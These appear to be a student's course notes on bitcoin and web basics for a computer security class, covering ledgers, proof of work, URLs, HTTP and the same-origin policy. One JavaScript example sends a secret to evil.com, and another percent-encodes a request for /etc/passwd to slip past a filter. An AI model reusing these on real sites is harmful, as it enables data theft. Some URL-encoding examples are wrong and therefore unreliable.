CS 161 Notes Lec 11-12

Overview

Lecture 11: Bitcoin

  1. What is bitcoin?

  2. How does bitcoin work?

  3. The trouble with bitcoin

  4. Bitcoin in practice

  5. Bitcoin introduction based on 3B1B’s video

    1. Who invented bitcoin?

    2. A ledger scenario

    3. Signature

    4. Start money

    5. Pay with transaction (Not mentioned in detail in 3B1B’s video)

    6. Who needs real money?

    7. Who controls the Ledger?

    8. Hash chains

    9. Proof of work

    10. Conflicts

    11. Interesting topics about bitcoin

Lecture 12: Introduction to Web

  1. A brief history of the web

  2. What’s the web?

  3. URLs

  4. HTTP

  5. Parts of a Webpage

  6. Security on the Web

  7. Same-Origin Policy

Bitcoin introduction based on 3B1B’s video

Yes, I crossed out all the section names provided by the lecture slides, but instead added a new section to introduce bitcoin. I want to do this since I found the lecture video kinda confusing, and I do know that a YouTuber called 3Blue1Brown has made a video that perfectly illustrated how bitcoin works. I will introduce bitcoin following his video’s logic, and include the materials in lecture that were not mentioned in the video.

Who invented bitcoin?

The word “bitcoin” was defined in a white paper published on October 31, 2008 by Satoshi Nakamoto, it’s not a real name, the public doesn’t know the real identity of this guy.

A ledger scenario

Imagine, you and your friends, Alice, Bob, Charlie go out for dinner together frequently. In the end, you guys would like to pay for your own shares. It’s inconvenient to transform cash all the time, so you want to keep a ledger. The ledger keeps track of transactions you intend to make in the future,

In the end of each month, the four of you can get together and do the transactions conveniently.

The protocol of such ledger would probably look like this:

  1. Anyone can can add lines to the Ledger.

  2. Settle up with real money each month.

But clearly there’s a problem, since anyone can freely add lines to the Ledger, what if Bob add a line saying “Alice pays Bob $100”?

Signature

Sounds like we need people to sign for the transactions they want to make, that’s a easy task for digital signatures!

Recall from lecture 9, digital signature is done by public key and private key, where basic functions are:

  • sign(SK, M) -> sig

  • verify(PK, M, sig) -> {0, 1}

So each one of you can generate your own PK/SK pair, and include a signature to the Ledger when making a transaction.

Also note that you can’t simply sign for the line of message you added, otherwise people will easily know how the signature for “Alice pays Bob $100” should be look like after Alice added it once. To avoid that, add some random information to each transaction before signing them, to make the signature not duplicatable.

Now your new protocols for the Ledger would be:

  1. Anyone can can add lines to the Ledger.

  2. Settle up with real money each month.

  3. Only signed transactions are valid.

Start money

Another concern of such system, is that what if one of you spent a lot of money and doesn’t show up in the end of the month? To prevent such things from happening, you’d probably want to force each one of you to store some money at the very beginning, which works as a bond.

In this way, you actually don’t need to settle the bills each month, as long as each of you have some money in the Ledge, you guys are good to go.

Now the refined protocol looks like:

  1. Anyone can can add lines to the Ledger.

  2. No overspending.

  3. Only signed transactions are valid.

Pay with transaction

With the new protocol that stops people from overspending, you suddenly realized that each time you want to verify whether you got any money left, you’ll have to go through all the transactions on the Ledger from the very beginning! That definitely takes a lot of time!

One possible way to optimize this is to let people pay with previous transactions they received. Since we can view each transaction as some input of money + some output to whom the money will be send, it’s possible to let people explicitly specify the input as a transaction they have received instead of input their own names.

That’s to say, change

  • Alice pays Bob $10.

to something like

  • Using currency from TX4, Alice pays Bob $10.

Where TX4 maybe #4 transaction where Charlie pays Alice $10.

If there’re changes(the transaction you uses contains more money than how much you wanna spend), you can simply specify yourself as another output who receives the rest of the money.

Above is how such technique might look like.

The trick is that to validate whether Alice can use TX4 without overspending, the Ledger only needs to see if there’s any transaction that has spend TX4 in between TX4 and this current transaction, this basically reduces a lot of work for checking whether someone still got money to spend!

Who needs real money?

Aha, now we reach the point where you don’t really need real money as long as everyone follows the protocol! All the transactions can be performed by adding lines to the Ledger, and as long as the Ledger is valid, you guys are fine to never get cashes involved! What sounds more crazy is that if the canteens you visit do support such way of transaction, the whole process will not involve real money anymore! That’s how bitcoin was born ;)

At the same time, it’s still possible to exchange real money with your currency on the Ledger as long as both sides of the exchange agree on the rate.

Who controls the Ledger?

Now, a critical question to ask yourself, where should the Ledger be stored? Shall we let Bob to keep it, or Alice? No! Otherwise the guy who owns the Ledger can modify it in whatever way he/she wants. What about asking an authorized organization to keep it? ;) Then what if that organization suddenly wants to change the Ledger by its favor?

The solution is to let everyone keep the Ledger! In fact, they’ll keep their own copy of the Ledger.

Whenever you make a transaction, you broadcast it for everyone in the world to add that to their copy of the Ledgers.

The main problem is that how can you make sure that others recorded your transaction? And how can a receiver verify the transaction he/she heard hasn’t been modified by others? Another issue to think about is that how can everyone make sure that transactions are listed in the same order?

This problem was addressed in the famous paper published by Satoshi Nakamoto.

Hash chains

To ensure that Ledgers that are previously stored can’t be modified in the future, we first introduce a structure called “hash chain”.

Hash chain has blocks that we store data, a field to store a hash code, and a pointer to form a linked list.

  • Each time when a block is appended, the previous block should be validated and the hash of it will be stored to the new block’s hash code field “prev_hash”.

  • When appending the block, the pointer of previous block will be set to the new block, so that the linked list will keep growing.

  • Note that no deletion would ever happen.

  • It’s just like how git works.

Apply such technique to the records on the Ledger, we can divide the Ledger into blocks of transactions and link them in such hash chain way.

Proof of work

With the hash chain, you have a way to reflect the whole history before each block with a hash code stored in that block. But the problems are still unsolved! How do you make sure each one receives the transaction correctly?

The trick is called “proof of work”, which makes use of, once again, hashing!

btw here’s a screenshot from 3B1B’s video that shows how SHA256 works :)

How does “proof of work” work:

  • In each block of the Ledger, a nonce will be included. It would look random, but the key is that adding it will make the hashing of this block become “special”.

  • By “special”, we say that there’ll be a chain of consecutive zeros(maybe 30 of them) at the very beginning of the block’s SHA256 result.

  • It’s really hard to find such nonce.

  • For the case of 30 consecutive zeros, the probability of finding the nonce would be around 1/2^30 ≈ 1/1000000000.

  • Note that once such nonce is decided, other data stored in the block can never be modified, otherwise when verifying it’ll be easy to notice that the hash of the block doesn’t look “special” :)

  • Proof of work makes use of such ideas, and require everyone who receive the broadcast of some transactions to find the nonce that can make the block’s hash looks “special”.

  • Once there’s someone who find the nonce, he/she will tell everyone the nonce and hash the block with that nonce.

The process will be like:

  1. Transactions made by you guys will be broadcasted and heard by everyone.

  2. But instead of appending them to the local copy of the Ledgers immediately, you and your friends will wait for a validation message.

  3. There’ll be a bunch of block creators out there who keep track of the transactions they heard.

  4. Once a block is full, they’ll start to find the nonce for that block which makes the block’s hashing look “special”.

  5. Once someone find the nonce, he/she will broadcast the block, the nonce, and the hash to everyone.

  6. Now everyone can add the new block to the linked list they locally keep track of(which is basically the Ledger), and store it with the hash of previous block(prev_hash).

  7. Lastly, one more transaction will be added to the new block, claiming that the block creator earns some amount of currency. This transaction doesn’t need signature, nor does it need to be hashed, since it’s assigned by the bitcoin system to award the block creator’s work. That’s also how bitcoin system release more bitcoin to the world.

  8. The block creators have a name that you might have guessed, miner ;)

Conflicts

What should you do if you receive two different blocks?

It’s amazing how this problem is settled easily: you just keep the longer one!

The idea is that the longer one contains more work, so it’s validated by more computational power, and is more likely to be the true.

So the main idea behind bitcoin is:

So even if one may luckily fool others with one fraud block, he/she will never be able to keep the blocks growing longer than the true chain for a long time, unless! He/she has 51% of the computational power of the bitcoin mining business. 😳

Interesting topics about bitcoin

Average block time of some famous blockchain currency,

Block rewards of bitcoin(in the video, data after 2020 are predicted values),

https://blockexplorer.com/ is a website that makes it easy to look through bitcoin blockchains.

Decentralization is no longer solid:

  • Even though the trust of blockchain is based on the fact that no one can hold 51% of the computational power of the world.

  • This is somehow no longer the truth ;)

  • Mining pools: A team of users mining together

    • When one user receives a mining reward, everyone in the team shares the reward together.

    • A user mining alone must get lucky to receive a reward.

    • A mining pool gives users steady, smaller rewards.

  • A few large mining pools control most of the computing power in Bitcoin
    • If large pools team up, the 51% attack is possible!

Another concern about bitcoin is that codebases are developed and maintained by a few groups

  • These groups can rewrite the code to affect the entire system.

  • Example: When Ethereum was hacked, the developers changed the code to retrieve their money.

Also, there’re topics about how power consuming bitcoin is, and the drawback brought by anonymous and how it might become pseudonymity. I’m not gonna cover them in details.

What’s the web?

Web(World Wide Web): A collection of data and services.

  • Data and services are provided by web servers.

  • Data and services are accessed using web browsers (e.g. Chrome, Firefox).

  • It’s not the Internet

    • The Internet describes how data is transported between servers and browsers.

Elements of the web:

  • URLs: How do we uniquely identify a piece of data on the web?

  • HTTP: How do web browsers communicate with web servers?

  • Data on a webpage can contain:

    • HTML: A markup language for creating webpages.

    • CSS: A style sheet language for defining the appearance of webpages.

    • JavaScript: A programming language for running code in the web browser.

URLs

URL stands for Uniform Resource Locator. It’s a string that uniquely identifies one piece of data on the web.

What are the components of URL?

https://toon.cs161.org/xorcist/avian.html
  1. Scheme

    • Located just before the double slashes.

    • Defines how to retrieve the data over the Internet (which Internet protocol to use).

      • Some of the protocols: http, https, ftp, file, git+ssh.
  2. Domain

    • Located after the double slashes, but just before the next single slash.

    • Defines which web server to contact
      • Recall: The web has many web servers. The location specifies which one we’re looking for.
    • Written as several phrases separated by dots.
  3. Location: The domain with some additional information
    • Username: evanbot@cs161.org

      • Identifies one specific user on the web server

      • Rarely seen

    • Port: toon.cs161.org:4000

      • Identifies one specific application on the web server

      • We will see ports again in the networking unit

  4. Path

    • Located after the first single slash.

    • Defines which file on the web server to fetch.

      • Think of the web server as having its own filesystem.

      • The path represents a filepath on the web server’s filesystem.

  5. Query

    • Providing a query is optional.

    • Located after a question mark.

    • Supplies arguments to the web server for processing(so you’re asking for service)

      • Think of the web server as offering a function at a given path.

      • To access this function, a user makes a request to the path, with some arguments in the query.

      • The web server runs the function with the user’s arguments and returns the result to the user.

    • Arguments are supplied as name=value pairs.

    • Arguments are separated with ampersands (&).

    • Example: https://toon.cs161.org/draw?character=evan&size=big
  6. Fragment

    • Providing a fragment is optional.

    • Located after a hash sign (#).

    • Not sent to the web server! Only used by the web browser

      • Common usage: Tells the web browser to scroll to a part of a webpage.

      • Usage: Supplies content to code in the web browser (JavaScript) without sending the content to the server.

URL escaping:

  • URLs are designed to contain printable, human-readable characters (ASCII)
    • What if we want to include non-printable characters in the URL?
  • Recall: URLs have special characters (?, #, /)
    • What if we want to use a special character in the URL?
  • Solution: URL encoding

    • Notation: Percent sign (%) followed by the hexadecimal value of the character

    • Example: %20 = ‘ ‘ (spacebar)

    • Example: %35 = ‘#’ (hash sign)

    • Example: %50 = ‘2’ (printable characters can be encoded too!)

  • Security issues: makes scanning for malicious URLs harder

    • Suppose you want to block all requests to the path /etc/passwd

    • What if an attacker makes a request to %2F%65%74%63%2F%70%61%73%73%77%64?

    • We’ll study this issue more later…

HTTP

HTTP stands for Hypertext Transfer Protocol. HTTP is a protocol used to request and retrieve data from a webserver.

HTTP has its secure version, that is HTTPS.

HTTP is a request-response model(every request is matched with a single response)

  • The web browser sends a request to the web server.

  • The web server processes the request and sends a response to the web browser.

Components of a HTTP request:

  • URL path (possibly with query parameters).

  • Method

    • GET: Requests that don’t change server-side state (“get” information from the server).

    • POST: Request that update server-side state (“post” information to the server).

    • Other less-used methods exist (e.g. HEAD, PUT).

    • Today, GET requests typically modify server-side state in some ways (e.g. analytics), but using GET instead of POST can have security implications.

  • Data

    • GET requests do not contain any data.

    • POST requests can contain data.

  • Uninteresting metadata
    • Headers: Metadata about the request.
      • Example: “This request is coming from a Firefox browser”.
    • Protocol: “HTTP” and version.

Components of a HTTP response:

  • Protocol: “HTTP” and version.

  • Status code: A number indicating what happened with the request

    • Example: 200 OK

    • Example: 403 Access forbidden

    • Example: 404 Page not found

  • Data
    • Can be a webpage, image, audio, PDF, executable, etc.
  • Uninteresting metadata
    • Headers: Metadata about the response.

      • Example: Date and time.

      • Example: Length of the content.

Parts of a web page

HTML

HTML stands for Hypertext Markup Language. HTML is a markup language to create structured documents.

HTML defines elements on a webpage with tags.

  • Tags are defined with angle brackets <>.

  • Example: tag creates images.

  • Example: **** tag creates bold text.

I will not include detailed examples of how some tags in html can be used.

CSS

CSS stands for Cascading Style Sheets. It’s a style sheet language for defining the appearance of webpages.

Please keep in mind that CSS can be very powerful, if it is used maliciously, it can often be as powerful as JavaScript.

JavaScript

JavaScript is really powerful since it’s an actual programming language.

  • JavaScript is client-side.

    • Code sent by the server as part of the response.

    • Runs in the browser, not the web server!

  • Used to manipulate webpages (HTML and CSS)

    • Makes modern websites interactive.

    • JavaScript can be directly embedded in HTML with **

  • Most modern webpages involve JavaScript
    • JavaScript is supported by all modern web browsers.

A fact sheet about JavaScript:

  1. High-level

  2. Dynamically-typed

  3. Interpreted

  4. Supports objects

  5. Fast

    • JavaScript is used in almost every web application, so a lot of work goes into making it execute quickly

    • Just-in-time compiling (compile code at runtime immediately before executing it) helps speed up execution

Features of JavaScript

  • It can modify any part of the webpage(e.g. HTML or CSS).

  • It can create a pop-up message.

  • It can make HTTP requests.
    • <script> fetch('https://evil.com/receive', {method:'POST', body: secret})</script>

Rendering the webpage

  • Process of displaying (rendering) a webpage in a web browser:

    1. The browser receives HTML, CSS, and JavaScript from the server.

    2. HTML and CSS are parsed into a DOM (Document Object Model).

    3. JavaScript is interpreted and executed, possibly modifying the DOM.

    4. The painter uses the DOM to draw the webpage.

  • DOM (Document Object Model): Cross-platform model for representing and interacting with objects in HTML

    • A tree of nodes.

    • Each node has a tag, attributes, and child nodes.

Security on the web

What are the risks on the web?

  • Web servers should be protected from unauthorized access.

    • An attacker should not be able to hack into google.com and provide malicious search results to users.

    • The protection is related with server-side security(say, protect the server from buffer overflow attacks).

  • A malicious website should not be able to damage our computer.

    • Example: Visiting a malicious website should not infect our computers with malware.

    • The way of protection is to use sandbox:

      • JavaScript is not allowed to access files on our computer.

      • Privilege separation, least privilege.

      • Browsers are carefully written to avoid exploiting the browser’s code (e.g. write the browser in a memory-safe language).

  • A malicious website should not be able to tamper with our information or interactions on other websites.

    • Example: If we visit evil.com, the attacker who owns evil.com should not be able to read our emails or buy things with our Amazon account :)

    • Protection: Same-origin policy

      • The web browser prevents a website from accessing other unrelated websites.

Same-origin policy

What is same-origin policy?

  • A rule that prevents one website from tampering with other unrelated websites.

  • It’s enforced by the web browser.

  • It prevents a malicious website from tampering with behavior on other websites.

How does same-origin policy work?

  • Every webpage has an origin defined by its URL with three parts:

    • Protocol: The protocol in the URL

    • Domain: The domain in the URL’s location

    • Port: The port in the URL’s location

      • If no port is specified, the default is 80 for HTTP and 443 for HTTPS.

  • Two webpages have the same origin if and only if the protocol, domain, and port of the URL all match exactly.

  • Two websites with different origins cannot interact with each other

  • Example: If cs161.org embeds google.com, the inner frame cannot interact with the outer frame, and the outer frame cannot interact with the inner-frame.

  • Exception: JavaScript runs with the origin of the page that loads it

    • Example: If cs161.org fetches JavaScript from google.com, the JavaScript has the origin of cs161.org!

    • Intuition: cs161.org has “copy-pasted” JavaScript onto its webpage.

  • Exception: Websites can fetch and display images from other origins
    • However, the website only knows about the image’s size and dimensions (cannot actually manipulate the image).
  • Exception: Websites can agree to allow some limited sharing

    • Cross-origin resource sharing (CORS).

    • The postMessage function in JavaScript.

Written on May 10, 2023
-->